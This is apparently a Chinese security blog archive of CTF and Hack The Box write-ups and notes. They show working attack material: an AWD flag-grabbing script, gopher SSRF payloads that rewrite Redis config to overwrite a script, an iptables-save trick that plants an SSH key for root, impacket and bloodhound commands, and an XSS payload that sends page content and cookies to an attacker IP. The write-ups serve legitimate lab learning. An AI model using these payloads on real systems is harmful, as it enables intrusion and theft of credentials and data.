print(f"找到 flag: {flag_match.group(0)}")
except requests.RequestException:
pass
def attack_ip(ip):
"""
对单个 IP 地址执行上传和检查操作
"""
target_url = get_target_url(ip)
file_url = get_file_url(ip)
if upload_file(target_url):
check_flag(file_url)
def main():
"""
主函数：并发检查所有 IP 地址
"""
ips = read_ips()
if not ips:
return
# 使用线程池并发处理
with ThreadPoolExecutor(max_workers=10) as executor:
while True:
futures = [executor.submit(attack_ip, ip) for ip in ips]
for future in as_completed(futures):
future.result() # 等待任务完成
if __name__ == "__main__":
main()

结构其实很简单，其实就是实现了最基本的上传和访问、获取功能

24-25下半学年第一次线上赛 | Writeup

Sun, 02 Mar 2025 00:00:00 +0800

MISC

签到

发现每个emoji的英文的首字母就代表了真实的字符

例如home->🏠->h，以此类推出hello ctf -> 🏠🦅🍋🍋🍊 🐈🌮🍟

Spa

根据提示可知，和斯巴达密码棒有关，搜索之后了解过后得知其实就是字符移位，也就是栅栏密码

搜索栅栏密码解密工具，通过不断测试栏数后就能得到答案

因为存在空格，个别在线工具可能解不出来，这里附上我使用的工具栅栏密码在线加密解密 - 千千秀字

CRYPTO

ezRsa

exp如下

from Crypto.Util.number import *
import gmpy2
n =
e = 65537
c =
def factor(n):
pq_list = []
a = gmpy2.iroot(n, 2)[0]
while 1:
B_2 = pow(a, 2) - n
if gmpy2.is_square(B_2):
b = gmpy2.iroot(B_2, 2)[0]
p1q1= a - b
p2q2 = a + b
pq_list.append([p1q1, p2q2])
if len(pq_list) == 2:
break
a += 1
return pq_list
pq_list = factor(n)
X1, Y1 = pq_list[0]
X2, Y2 = pq_list[1]
p1 = gmpy2.gcd(X1, X2)
q1 = gmpy2.gcd(Y1, Y2)
p2 = X2 // p1
q2 = Y2 // q1
phi = (p1 - 1)*(q1 - 1)*(p2 - 1)*(q2 - 1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
flag = long_to_bytes(m)
print(flag)

WEB

打赏

详情见下一篇博客HKcert CTF 2024 final mini-ad | Writeup | Red的小屋

[HTB]第六章

Thu, 27 Feb 2025 00:00:00 +0800

本章靶机为Cat、Backfire、Titanic。（本章踩坑细节比较多）

apache2 access.log

这个文件下会有好东西，一般碰到用GET传敏感数据的地方都可以关注一下

PDO语句

一般在做数据库交互的地方都会用PDO语句防止sql注入，像下面这样

出现这种sql执行一般可以直接略过，不会出现注入。什么样的地方才可能出现注入呢？像下面这样

这里只有delete语句做PDO处理，insert语句使用直接拼接的方式。sqlmap就能扫出来

登录框、表单提交和邮件

都是xss出现的重灾区，多发发

邮箱

在/var/mail目录，linpeas能扫出可以访问的邮箱目录

Gitea

一个能让你搭建类似github一样的代码托管仓库的开源项目。当然需要注意它的版本，可能会有xss漏洞

https://www.exploit-db.com/exploits/52077

另外，如果能直接读文件，就要关注一些Gitea的敏感文件。比如data/gitea/gitea.db、data/gitea.db、custom/conf/app.ini和data/conf/app.ini

swaks

简易邮件发送小工具，格式如下

swaks --to "aka@redshome.com" --from "sunny@localhost" --header "Subject: click link" --body "http://localhost:3000/" --server localhost --port 25 --timeout 30s

wss协议

ws套上了tls就是wss。包体也不太一样，不能直接用ws连wss

ssh-keygen

用来生成私钥。有些靶机不吃ed25519，rsa比较通用

ssh-keygen -t rsa -b 4096
或者
ssh-keygen -t ed25519

字节长度其实无所谓，打靶机能用就行

iptables-save提权

和gobuster提权有点类似。把ssh公钥通过iptables规则保存到authorized_keys里。具体操作如下

首先把公钥写到一个input链里

iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFafyRywbrdQjXxVMl1rKsXLVdY4xnkFTNAAkDGRPsiJ root@akared'

再保存即可

iptables-save -f /root/.ssh/authorized_keys

接口的权限

有时候像download、filename这种接口的权限就足够读user.txt，多试试

一个john的小坑

john在指定wordlist的时候记得要加=或者:，不然会扫不出来

HTB CDNio | Writeup

Mon, 10 Feb 2025 00:00:00 +0800

可能是这题的全网第一篇简中wp（

分析

按照惯例，先找flag在哪

在数据库，并且在admin用户同一条记录下。再分析一下功能，主要就四个

根路由，查询输入的用户是否存在(app/blueprints/auth/routes.py)
/register，注册(app/blueprints/auth/routes.py)
/visit，分析功能后发现可以直接携带admin用户的token并请求任意路由(app/blueprints/bot/routes.py和app/utils/bot.py)
带有profile字样的任意路由或其他路由，输出保存在数据库里的详细数据(app/blueprints/main/routes.py)

其中第四个功能的路由比较特殊

@main_bp.route('/<path:subpath>', methods=['GET'])

意思就是什么uri他都吃，再分析下面具体的实现代码

if re.match(r'.*^profile', subpath): # Django perfection
...
...
else:
return jsonify({"error": "No match"}), 404

就可以得知，除了在其他代码里定义好的路由外，没有’profile’字样的uri最后都会被丢个No match

分析完功能，思路就很清晰了，应该就是想办法利用visit路由携带好的token去读profile。

但分析完后发现，虽然能请求profile，但上面这段代码很明显只能访问但不能回显携带的内容

所以要想个办法把请求的内容带出来。

我很少看题目附件里给的nginx配置文件，除非真的没有思路继续下去。而这题就正好是这种少数题目之一

看起来nginx在实现一种和CDN一样的效果，把前端访问过的静态文件存下来，如果在他的缓存路径里就直接读缓存，如果不在就把请求交给gunicorn做正常访问。

根据上面的分析也可以知道，很明显后端对/profile这个路由的访问处理并不是很严格，不管我访问什么稀奇古怪的路径，只要路径里带有profile就都会被判定为/profile。所以当我访问profile/1.css时，/profile的内容就会被缓存到profile/1.css里，我再正常地去访问profile/1.css就能够拿到/profile的内容。这种攻击方式被叫做缓存欺骗

实操

来看看具体题目，首先我想要访问/visit就需要有一个token。不过这个token是什么无所谓，只要有就行。所以需要先注册一个

接着拿去登陆，获取token（ip地址不一样别在意，就是拿平台靶场试的而已）

最后就可以拿去访问visit，出现下面字样说明访问成果

不过，完全一样的请求包也有可能在你访问后给你丢个invalid token，这种情况只要多发几次就行。原因不明，感觉像是HS256导致的某种神奇反应导致token间歇性不识别= =

最后正常访问即可

[HTB]第五章

Tue, 04 Feb 2025 00:00:00 +0800

本篇靶机Certified，Cicada，EscapeTwo。环境都为windows

AS-REPRoasting

一种针对 Windows AD的密码攻击技术，它的目标是从AD中抓取和破解弱密码的用户凭据。这种技术特别针对使用 Kerberos 认证协议 的环境

其实有点类似像批量尝试匿名登陆，攻击脚本如下

impacket-GetNPUsers -dc-ip 10.10.11.41 -no-pass -request -usersfile user_list certified.htb/

nxc smb常用攻击参数

--rid-brute：用rid爆破用户名，爆破出来的可能比实际少，一般是在只有匿名用户的时候用
--continue-on-success：用来测试用户名和密码，直到成功也不停下。也就是密码喷洒
--shares：用来查看当前用户能够访问的smb目录
--users：查看当前用户能看到的用户名，会比rid-brute准确。而且能看到desc，说不定会有特殊收获
--local-auth：使用当前被攻击机器自带的本地身份验证，而不使用域验证

`SeBackupPrivilege`和`SeRestorePrivilege`权限

当使用whoami /pri查看用户有SeBackupPrivilege和SeRestorePrivilege权限时，就可以用PTH

步骤是先将注册表中的sam和system存下来

接着用secretsdump dump出hash

最后拿着hash登陆就行

或者用nxc

smbclient

使用格式如下

smbclient '\\11.4.5.14\' -U akared

进入后再输入密码就行

windows server常用端口服务对照表

445：smb（共享文件服务）
5985：winrm（远程命令执行）
135：rpcclient （搜集用户名和组名）
1433：mssql（数据库）

awk妙用

除了常规的-F分割外，还有一个就是NR。这个表示当前行数，从1开始计数。下面是个例子

awk -F' ' 'NR>1 {print $5}'

这样就能去掉首行内容。另外，awk还有一个特殊元素是$0，表示当前行的整行内容

awk经常被用在和paste配套使用，paste是用来对输出内容进行分割的，这样awk处理完的端口数据就可以直接丢到nmap

Writeowner权限修改密码

理论上说，有这个权限应该就能修改被控用户的密码。但这位博主没有成功，不知道为什么，就顺手记录一下吧https://cn-sec.com/archives/3623739.html

bloodhound信息收集

除了传统的上传exe和ps1搜集，还有一种是直接通过bloodhound-python，这种方法可以不需要拿到shell，但用户名密码还是得提供。适用于shell不方便使用的时候

bloodhound-python -c All -u oscar -p 86LxLBMgEWaKUnBG -ns 10.10.11.51 -d sequel.htb -dc DC01.sequel.htb --zip

bloodAD

一个可以修改用户AD中保存的权限的工具，下面示例如何修改用户ca_svc的owner为ryan

[HMV]第一章

Mon, 03 Feb 2025 00:00:00 +0800

一个新发现的靶场hackmyvm，随便拿台靶机试试难度，本期靶机boxing

url用户名

这个之前CTF题里遇到过，这里用来绕SSRF的访问域名限制了，用得挺巧妙的。先来看一下代码

<?php
if(isset($_GET['url'])){
$url = $_GET['url'];
if (!preg_match("/^http[s]?:\/\//", $url)) {
$url = "http://" . $url;
}
if (strpos($url, "http://boxing.hmv") === 0 || strpos($url, "https://boxing.hmv") === 0) {
$content = file_get_contents($url);
echo $content;
} else {
echo "Unauthorized URL.";
}
}
?>

简答来说就是输入的内容会被拼接到http://后，再判断是不是http://boxing.hmv，如果是就读取

逻辑很简单，问题就出在拼接。如果我此时想访问这台机子的127.0.0.1:5000，如果我直接输入就会变成http://127.0.0.1:5000，没法访问。但如果我输入的是http://boxing.hmv@127.0.0.1:5000，这样就既能满足判断条件（因为是strpos位置匹配而不是preg_match这种全匹配），因此就能过

原理可以看这篇靶场笔记的parse_url与curl一栏https://redshome.top/2024/06/30/靶场笔记第十九章/

特殊字符fuzz

有时候碰到理论上能行但却没有执行结果的时候，确保拼接起来的命令能执行后，要思考的就是是否过滤掉了特殊字符。比如空格、引号这种老黑户

这个时候就可以把空格或者引号的地方fuzz一下换成别的，比如+这个神奇的符号。也许你直接在shell运行不对，但放到web上就对了，原因有可能是apache2启用了Rewrite配置或者php做了str_replace（在本题php里没找到replace，因此猜测是apache2，不过粗略搜索后也没发现，就有点发懵了= =）

放上fuzz的语句供参考

ffuf -u 'http://staging-env.boxing.hmv/index.php?url=boxing.hmv@localhost:5000?processName=asdFUZZ-eFUZZid' -w chars.txt -fs 2548

incrontab

简单来说就是一个处理正在监听中的系统事件的程序，而这个程序在这台机子里由一个叫incrontab.sh的脚本运行，用来监听一些事件，其中有一个事件如下

echo '/home/cassius/user.txt IN_ATTRIB /opt/sos/sos.sh' | incrontab -

意思就是当user.txt被更改权限时触发sos.sh运行

file *

这段指令的意思乍一看就是把所有文件名匹配并填入这个*。而这么做的操作空间就很大了，可以利用file的-f参数来达到读取文件的目的。

file -f fname 这段指令的意思是将fname的内容当作文件名被file处理。而问题就出在如果fname内容不存在，则会出现下面这一幕

2025新年红包题 | Writeup

Fri, 31 Jan 2025 00:00:00 +0800

拿到网站后先发现标题有东西，拿来看看

在打开审查元素的时候也发现了一行注释

访问看看

虽然这不重要，但是这很重要

页面信息利用完，感觉没什么进展了，那就扫扫目录吧

访问一下

(可能有人这里会吐槽这跟log有什么关系，但是故意放log就是因为它在dirsearch默认字典里比较靠后，就能让那些扫没两秒就退出的人做不出来^ ^)

留下这个pass，然后访问一下给的hint，来到一个wordpress

发现文章都需要密码，所以开始搜集信息。随便点进一片看一下能不能查看用户名

发现已经被修改过了，那就只能想别的办法。因为是wordpress，所以用wpscan扫一下

发现两个用户名

拿出刚才log页面的pass，需要再解一下

拿dondondonki登陆即可，进来后直接来到文章区域，把每一篇文章都看过去一遍后就能，在“等等，嘶”这篇文章下面发现了这两句话

结合hint1的“ssh不需要爆破”这个提示，推断这个端口应该是ssh端口。那么接下来就是拼接密码的osint过程

首先来看第一张，映入眼帘应该是一张从酒店内往酒店门口拍摄的视角，仔细看一下就能发现这个

根据常识可以得知是香港行政区旗🇭🇰，并且人口为750w小于1000w，因此第一个字符为h

第二篇文章的图片内没有什么文字描述或者明显的特征，只有一些长相比较特殊的植物，所以google搜图随手搜索一下

知道了名字，就问问ai

并且通过图中远处小屋可以推测是木质结构，在中国广西和云南等地才比较常见，不在蜂斗菜适宜生长环境内，因此中国的可能性可以排除。且根据后方地形判断此处以丘陵（300m以下）为主，不符合日本、韩国以山脉为主的地理特征，因此日本韩国也排除。最后就只剩俄罗斯了，人口大于1000万，因此第二个字符为R

第三篇文章，题中唯一存在的文字信息就是石柱上的牌子，但是有点模糊，有些单字需要猜测

大概可以拼出个antonio anostinho neto，直接放到google里可以发现是个人名，Agostinho Neto

并且位于安哥拉，搜索后人口为3393w，字符为A

第四篇文章和第二篇一样可利用信息很少，唯一知道的就是一条又长又笔直的公路和路上的

在上述ai给的地区中，结合图片宽广笔直的道路场景，只有美国和加拿大比较符合特征。

并且这里还设计到一个地区交通小常识，如果你是做osint的新手可以记录下来。就是高速路上单黄虚线更多地出现在加拿大，关于这点的更多解释可以看这篇2022 idek CTF wp中的image13。简单来说，就是google上有关单黄虚线长笔直高速路的搜索结果更多地指向加拿大，少部分位于中国西北和美国北部。因此这篇文章字符为C

第五篇文章，算是比较经典图寻坐标了，就是路边的这个小路标

这里我给大家提供一张geoguessr社区大神们总结出来的路标图作为参考

明显图示路标出现区域为波兰，由于这个路桩的唯一性，因此可以直接推测为波兰。字符为P

第六篇文章应该能算送分题，应该很多人第一眼就猜出是日本。原因就是左上角的制粉店招牌。但其实这并不是能断定是日本的唯一要素，因为这样的繁体字招牌有可能存在东亚地区很多个地方。所以为了严谨一点，我们就按照图寻的玩法排一下。

首先排除中国大陆和香港、澳门，因为这三个地区一个是使用简体，另两个是不可能存在这么长一条路都是空旷低矮的房屋。其次是台湾，这时候就得把图片拉大看一下远处的车辆

会发现这台车牌是黄色的，而通过搜索会发现台湾车牌主要以白色为主

因此最后可以定位到日本，字符为J

最后一篇，首先就是拿这台白车的车牌作为一个大致方位定位

但先不急，还有第二张图。第二张图内容显示是个靠海的国家，并且使用法语，再根据第一张图中有摩托车、棕榈树，并且房屋都比较低矮的特征来看，所在地应该是某个欠发达地区的热带，那么最再结合法语的使用，结合历史常识推测最有可能的就是非洲。并且根据后面的提示可以知道，这个国家曾在20世纪60年代独立，那么范围就更近一步缩小。

先把上世纪60年代独立的国家拉出来问一下ai，有没有符合图述内容的地方

软件系统安全赛 CachedVisitor | Writeup

Mon, 06 Jan 2025 00:00:00 +0800

第一次参加这个比赛，本以为是pwn赛，结果没想到是web最无敌的一集（有点可惜没把厦大刷下来= =）

拿到附件先起一个本地服务来打。apple silicon要指定amd64

main.lua的主要逻辑就是将visit.script的代码执行。visit.script的主要逻辑是将输入进来的url地址用lua的curl模块访问。并且会将页面访问结果保存到redis中。思路很简单，就是想办法利用redis来保存一个文件将visit.script覆盖掉，覆盖掉的内容就是要执行的lua反弹shell或者命令执行。

首先要先了解一下redis的一些常用指令和小常识，这里只介绍本题需要用到的

keys * --查看所有键值对
get keyname --查看该键的值
save --将当前 Redis 所有数据保存到文件里。文件名和路径在下面两个命令可以修改
CONFIG SET dbfilename yourfilename.rdb --设置save的文件名
CONFIG SET dir /var/lib/redis --设置save的保存目录
QUIT --退出redis命令行。这个很重要，一会儿就会用到
rdbcompression yes --在附件里给的redis配置文件第461行，主要作用就是开启rdb存储压缩。redis有两种持久化方式，一种叫rdb一种叫aof，有兴趣可以自查。并且，redis所有配置信息都可以在终端中用config get keyname的方式获取到

尝试访问一下file:///etc/passwd可以得到passwd

进容器的redis验证一下有没有把访问内容存下来。发现确实存了下来。

因为redis支持使用gopher协议控制，所以直接先用下面的payload梭一把试试

gopher://localhost:6379/_*2%0D%0A$3%0D%0AGET%0D%0A$18%0D%0Afile:///etc/passwd%0D%0A

这个格式是用gopher访问redis固定的，*2表示这一行命令里有2个参数，$3，$18表示参数长度，并且最后一定要加一个CRLF的换行。厨子编码时要注意把全编码钩上，不然会不符合gopher协议规范（具体原因可以看这篇博客：https://redshome.top/2023/01/13/58/）。现在我们发一波试试。

可以发现换了个timeout回来，当时和队友在这儿卡了有一段时间，一直以为是我语句构造出了问题，以至于错过了前3血= =

直到队友拿着这段payload在命令行尝试直接curl后拿到了下面这样的结果

我便恍然大悟，问题就出在请求成功后没有退出redis终端，于是便搜到了上面所说的QUIT指令。接下来就是改造完的payload

gopher://localhost:6379/_%2A2%0D%0A%243%0D%0AGET%0D%0A%2418%0D%0Afile%3A%2F%2F%2Fetc%2Fpasswd%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A%0D%0A

前后端均访问正常。最后再来测试一下save下来的数据长啥样

嘶，怎么感觉不太正常，好像存下来后和直接输出不太一样。这样可以不行，要是一会儿存下来的lua代码也变成这样那就执行不了了。当时队友“神之一手”一下就反应过来是压缩存储的问题，我们先把压缩存储关掉后再试一遍

无敌了，接下来就是走一遍最开始说的思路。首先是修改一下靶机的dbfilename,dir还有rdbcompression

*4
$6
config
$3
set
$3
dir
$8
/scripts
*4
$6
config
$3
set
$10
dbfilename
$12
visit.script
*4
$6
config
$3
set
$14
rdbcompression
$2
no
*1
$4
QUIT
gopher://localhost:6379/_%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%248%0D%0A%2Fscripts%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2412%0D%0Avisit%2Escript%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2414%0D%0Ardbcompression%0D%0A%242%0D%0Ano%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A%0D%0A

[CTF复现]2024楚慧杯线下awdp web

Sat, 04 Jan 2025 00:00:00 +0800

队里有几个成员去打，回来后在群里发了附件，看了一下感觉不难，就决定复现一下

因为不知道具体题目顺序和名字，只有队员给的附件（复现也都是按照队员给的附件内容来，如果同样有参加的师傅发现缺漏，欢迎在评论区告诉我），所以就按照我的做题顺序来排序。同时为了还原真实线下做题场景，不使用在线工具

第一题

攻

首页一个登录框和一个注册，扫一下目录发现有个cache，访问一下得到一个.pyc文件，用pycdc反编译后得到下面代码

# Source Generated with Decompyle++
# File: app.cpython-38.pyc (Python 3.8)
from flask import Flask, request, render_template, redirect, url_for, session, send_from_directory
import os
import pickle
import base64
app = Flask(__name__)
app.secret_key = 's3cr3t_Key_Y0u_Nev3r_GuesS'
USERS_DIR = 'users'
if not os.path.exists(USERS_DIR):
os.makedirs(USERS_DIR)
def register():
Unsupported opcode: BEGIN_FINALLY (97)
username = request.form.get('username')
password = request.form.get('password')
user_data = {
'username': username,
'password': password }
user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data')
# WARNING: Decompyle incomplete
register = app.route('/reg', [
'POST'], **('methods',))(register)
def register_page():
return render_template('register.html')
register_page = app.route('/register')(register_page)
def login():
Unsupported opcode: BEGIN_FINALLY (97)
username = request.form.get('username')
password = request.form.get('password')
user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data')
# WARNING: Decompyle incomplete
login = app.route('/login', [
'POST'], **('methods',))(login)
def index():
data = session.get('data', None)
if data:
data = base64.b64decode(data)
if b'R' in data and b'built' in data or b'setstate' in data:
return 'hacker???'
user_data = None.loads(data)
username = user_data['username']
return render_template('index.html', username, **('username',))
return None(url_for('login_page'))
index = app.route('/index')(index)
def login_page():
return render_template('login.html')
login_page = app.route('/')(login_page)
def logout():
session.pop('data', None)
return redirect(url_for('login_page'))
logout = app.route('/logout', [
'POST'], **('methods',))(logout)
def download_cache_file():
cache_file_path = os.path.join('__pycache__', 'app.cpython-38.pyc')
if os.path.exists(cache_file_path):
return send_from_directory(os.path.dirname(cache_file_path), os.path.basename(cache_file_path), True, **('as_attachment',))
return None
download_cache_file = app.route('/cache')(download_cache_file)
if __name__ == '__main__':
app.run('0.0.0.0', **('host',))

核心利用逻辑在这里

[HTB]第四章

Fri, 20 Dec 2024 00:00:00 +0800

终于到了medium难度，一台靶机能学到的东西更多。本篇靶机为Instant

apktools

主要是用来做apk逆向，用法有d（decode）和b（build）两种，d用的更多，因为要解包看有什么内容

grep -R

感觉现在再写grep参数有点水字数的意思= =

-R是递归且跟踪软/硬链接

通过apk搜集子域名和token等敏感信息

RT，如果从网站某个角落挖到一个apk，如果这个apk联网，那么大概率是需要链接到某个与网站有关的路径或者子域的。一般会和上面的grep结合起来用

一般带有admin、test等字样的函数也是重点观察对象，有可能存在开发者粗心留下的测试后门

以及“pass,” “pwd,” “user,”等

ssh -i

-i后面加identify_file，也就是私钥

这里再补充一个小知识点，一般我们的电脑去连接远端服务器的时候，我们的电脑里存的是私钥而不是公钥，公钥存放在远端服务器里。我们可以通过将本地自己生成的公钥事先放到远端服务器上，随后用

[m]get -r

sftp和smbclient中的小窍门，下载文件夹

solar-putty

这是一个类似putty的东西，使用者有可能会留下一些加密过的备份文件在服务器上，如果使用者曾经使用过solar-putty进行ssh登录那么就有可能导致ssh密码泄漏

小tips

说是都要分析一遍，尤其是backup这种敏感文件，但实战中linpeas一扫出来简直不要太眼花缭乱

怎么办呢？其实linpeas扫出来的不一定都是能看到，比如下面这样

如果要一眼看出有什么有用信息，那么权限肯定是最好的切入点。毕竟扫出来多是多但还是得挑能看到

还有一个害我差点重装系统的坑，就是私钥最后一行必须有一个回车，不然就会报这个b错

一度让我怀疑是不是kali的什么东西炸了，结果看到ubuntu给的报错

才去检查格式问题，最后发现私钥最后一行必须加换行

这就是我们ubuntu

[HTB]第三章

Thu, 19 Dec 2024 00:00:00 +0800

本篇靶机为Sea、Sightless和Chemistry

hashcat、hydra和john的小常识

三者格式如下

hashcat -m 3200 -a 0 hash /usr/share/wordlists/rockyou.txt
john hash --wordlist=/usr/share/wordlists/rockyou.txt
hydra -L users.txt -p '???' ssh://ip

其中users.txt和hash为文件，hydra用来ssh密码喷洒

顺便记录一下hashcat -a的attck mode都是什么意思

shell中的注释

php代码如下

 <?php
if (isset($_POST['analyze_log'])) {
$log_file = $_POST['log_file'];
$suspicious_traffic = system("cat $log_file | grep -i 'sql\|exec\|wget\|curl\|whoami\|system\|shell_exec\|ls\|dir'");
if (!empty($suspicious_traffic)) {
echo "<p class='error'>Suspicious traffic patterns detected in $log_file:</p>";
echo "<pre>$suspicious_traffic</pre>";
} else {
echo "<p>No suspicious traffic patterns detected in $log_file.</p>";
}
}
?>

很明显是要命令注入$log_file，但在CTF里学的绕过方法都不奏效，是因这里有一个管道符|在捣乱

所以思路是要让管道符失效，linux shell中让后续命令失效的办法只有一个，那就是注释，所以直接用 #注释就行

[HTB]第二章

Tue, 17 Dec 2024 00:00:00 +0800

最近终于有空来玩玩HTB啦，时隔半年的HTB笔记也终于又更新了。本篇靶机为Alert和Linkvortex

xss回连测试与数据带回

可以用下面这段简单测试xss是否存在bot访问从而进行回连

<script>location="http://ip"</script>

如果存在，就可以用fetch进行外带，达到类似CSRF的效果

<script>
var readfile="http://127.0.0.1/index.php";//改一下page就好
fetch(readfile)
.then(response => response.text())
.then(data => {
fetch("http://ip/?data=" + encodeURIComponent(data)+"&cookie="+document.cookie);//改成你的ip
})
.catch(error => fetch("http://ip/?err="+error.message));
</script>

apache2默认配置文件路径

/etc/apache2/sites-available/000-default.conf

.htpasswd

这是一个和.htaccess类似的apache用户级配置文件，可以配合apache认证功能来模拟一个简单的登录认证。这个文件就是用来存放账号密码的。明文，可以直接查看

linpeas参数

-o参数是个很好用的参数，可以指定输出一些东西，因为linpeas的东西实在太杂了

一般intersting_perms_files是个不错的选择

同时，拿到foothood后观察一下127.1的端口也是个很值得关注的点

groups

这是一条指令，可以查看当前用户和所在组。当然如果环境中没有这个软件，也可以用cat /etc/groups | grep "akaRed"，是等效的

Dockerfile

有时候githack下来的dockerfile会说使用了什么配置文件去build，配置文件里可能会有密码之类的

HOST头FUZZ

有时候需要fuzz子域，但是在不知道的情况下又没dns咋办？去fuzz host头就行

ffuf -u "http://ip" -w /usr/.../dns.txt -H "HOST: FUZZ.???.???" -ac

关于ffuf的使用可以看下面一条。这里也顺便记录一个子域字典吧:/usr/share/dnsenum/dns.txt

不得不说kali的自带字典虽然藏得深但是真的全

ffuf

wfuzz日常没法用的一天= =

现在我投靠了这个新的fuzz工具，一样kali自带

格式如下，很方便很好记

ffuf -u "http://ip/FUZZ" -w /usr/.../dns.txt -fc/-ac

-fc和-ac选一个就行，-fc是过滤你不要的，比如-fc 404。-ac是自动过滤软件自己觉得没用的

软链接绕过名字检查

好像上一篇HTB记录过，但是上一篇是为了让检测软件误认为自己打开的是pdf实则是我们定向的文件，检测软件并没有对定向过后的文件做检查

但这里要介绍的是，如果做了定向后的检查，只要套了两层软连接，就可以绕过一些文件名检查。这里的漏洞就在于软件一般只追踪一层，而不会去看下一层

比如要你只能打开png图片，那么我只要像下面这样包，就检测不到了

ln -s /etc/passwd 2.png
ln -s 1.png 2.png

小tips

要注意观察每个文件夹的读写执行权限和所属组

24-25上半学年第二次线上赛 | Writeup

Wed, 11 Dec 2024 00:00:00 +0800

一样是部分wp，其他题不会可以来群上问

misc

鲨鱼

不懂如何使用wireshark先去把提示里的链接看了

拿到附件后可以直接用foremost分离

分离出一个压缩包但是要密码，所以我们先进流量包看

进来后随机选择一个http包，跟踪tcp流，就开始把每条流量分析过去

在stream 7发现一串有jpg头的16进制数据

并且是jpg文件尾

复制到cyeberchef梭一下就能出来

拿图片里的密码去解压缩包即可

web

一些黑客技巧

diresearch可以扫到admin目录，发现需要登陆

回到首页搜集信息，怀疑用户名存在madeline

根据题目名称，密码猜测是123456（如果没猜出密码，因为也可以爆破）

成功登陆

进来后点控制台->外观->编辑当前外观，会发现可以对php文件插入代码

直接插入一句马，蚁剑上线即可

[CTF复现]2024CISCN sanic

Tue, 10 Dec 2024 00:00:00 +0800

我敢说这些嗯抄gxngxngxn那篇分析sanic博客的家伙都是要么没过脑子要么懒成狗= =

包括gxngxngxn的那篇分析，其实最关键的步骤只告诉了“要怎么做”，而没有告诉“为什么要这样做”

我就直接把自己总结的python框架的原型链污染题的解题思路在这道题中体现出来吧

学框架污染前提肯定是python原型链基础，建议可以先看这篇。如果你还不理解原型链污染，那么建议先看看js原型链污染

这里我就跳过admin绕过，因为这不是我们本篇分析的重点。这一部分可以去看gxngxngxn的分析博客

第一步，找污染点

核心肯定就是利用对pollute类的pydash._set污染，从而污染到其他我们想污染的内容。目标很明确，我们想要读取flag，也就是要读取文件。就先来找找题目源码有没有可以直接污染就能读文件的地方

很明显，我们如果能控制__file__的值，就能读取任意文件。这里我放两个repeater

repeater 1用来查看src的内容和全局变量状态

repeater 2用来发送污染数据

并且在src的return打个断点

首先访问一下src，看一下全局变量状态

很容易发现__file__，而我们要污染到全局变量的__file__，就要先知道污染点现在在哪。很明显在Pollute类，所以我们用__class__访问类，__init__访问初始化函数，__globals__访问全局变量，就能访问到__file__。具体原理参考上面贴的原型链污染基础文章

这里我先污染成我自己创建的文件试一下。先把刚才的断点放行后污染一下

在访问一遍src，就可以发现__file__值被污染

但如果我们上靶机上试，直接污染成/flag是读取不了的，很有可能是flag文件名是随机的，所以我们要想别的办法。所以__file__污染这条路是走不通的。一些wp并没有说明这点，容易误导新手

那还有什么地方可以污染吗？通篇阅读一下题目源码，会发现只有app.static这一个地方有涉及到文件路径，但很明显这里是写死的路径，我们没有办法修改./static这个参数的值（也就是下图的file_or_directory）。但一般这类框架内置方法都不会只有短短两个参数，所以我们可以跟进一下static方法

会发现参数确实不少，在题目源码中被赋值的只有uri和file_or_directory两个参数。我们接着往下翻，就会看到一大串注释，这些注释就是介绍每个参数的功能。如果你在国赛当天写这道题，那当然是要把每个注释都看过去一遍。所以我们看到这个地方

这两个参数在题目源码里是没有被赋值的，一个意思是开启列目录的功能，另一个意思是所列目录的路径。我们可以先污染一下directory_view成true看看会发生什么。

第二步，找在哪进行污染

这里在哪进行污染并不只是admin路由下的pydash._set，更重要的是我要污染哪个变量下的哪个属性，也就是污染链。

我们可以很清楚知道__class__.__init__.__globals__是正在执行的题目文件的全局变量环境，所以我们先来全局变量里有哪些变量可以污染。一样在src打断点访问

除了特殊变量和函数、类以外，只有两个变量。pydash是我们用来进行污染的工具，本身要污染的点肯定不在pydash里，而是在sanic。而app=Sanic(__name__)，所以我们跟进app变量

此时你会看到一堆眼花缭乱的变量，但别着急，我们为了找到能过污染的点，必须要先清楚一个python小知识，也就是污染点必须是能够被我们写入的。所以反过来想，如果我们把不能写入的能先排除，那就可以进一步缩小范围了。而在python中，常用且不能写入的基础数据类型只有一种，那就是元组。所以我们就先不看元组数据，也就是像下面这样的子变量

并且我们其实也可以先将上面这种特殊变量先跳过，因为我们现在很明确自己要找的是和static下的路径，也就是和路由有关的内容，所以我们可以将目光放在app变量下和route类似的名字上。

（其实在这个地方我想过很久的思维链，为什么会想要找和route有关的东西？直到发文前一天晚上还在一位和很有开发经验的朋友一起研究时才告诉我，这其实只能当作一种常识记下来，就像在web开发时，其实大部分时间也是在做和路由有关的事情，所以就应该首先想到路由。如果你和我一开始一样，还是觉得这样看到route有点无厘头，觉得在实战中可能并不一定会出现在route，那么你也可以像我一样将别的变量全部检测过去一次，以防万一，甚至还有可能发现别的污染链）

可以发现一个router

接着我们继续按照上面说到的筛选条件，也就是不看元组，来继续找找可利用的变量。可以发现有name_index，routes_all，routes_static，static_routes等一众可疑变量

到这里如果是在比赛中，就必须要将每一个可以变量跟进看看能不能达到directory_view（这里需要注意，我们要污染的directory_view在static方法下，所以我们只用看static的路由）。可以的话例如我尝试跟进routes_all和routes_static

这是routes_all，可能存在污染

routes_static没有static路由，所以不可能存在污染

就像这样，将每一个变量跟一遍为止，直到找出directory_view。并逐个污染，看污染后的值会不会保留。

比如我污染routes_all试试

返回success，再次访问src验证是否污染成功

仍然是false

经过大量尝试后会发现只有在污染name_index下的变量时才能成功保留。层级如下（太长了截屏截不下，只能用表达式表示）

app.router.routes_all[('static', '<__file_uri__:path>')].handler.keywords['directory_handler'].directory_view

这也是这道题为什么在当时只有一支队做出来的原因，也是这题真正的难点。但gxngxngxn的分析博客和其他抄他的人只在wp中草草提到这个name_index是“经过查询资料”后得到的。

